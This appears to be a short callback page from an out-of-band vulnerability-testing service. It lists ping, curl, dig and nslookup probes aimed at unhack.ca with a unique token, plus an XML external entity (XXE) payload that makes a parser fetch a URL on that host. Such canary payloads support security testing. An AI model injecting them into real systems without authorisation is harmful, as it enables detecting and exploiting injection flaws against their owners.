$ ping -c1 -p 0058154defc40cde387200425d2a8f00 unhack.ca
 
$ curl http://unhack.ca/p/58154defc40cde387200425d2a8f
 
$ dig 58154defc40cde387200425d2a8f @unhack.ca
 
$ dig 58154defc40cde387200425d2a8f.ns.unhack.ca
 
C:\> nslookup 58154defc40cde387200425d2a8f unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/58154defc40cde387200425d2a8f">]>
    <foo>&xxe;</foo>
Waiting for ping...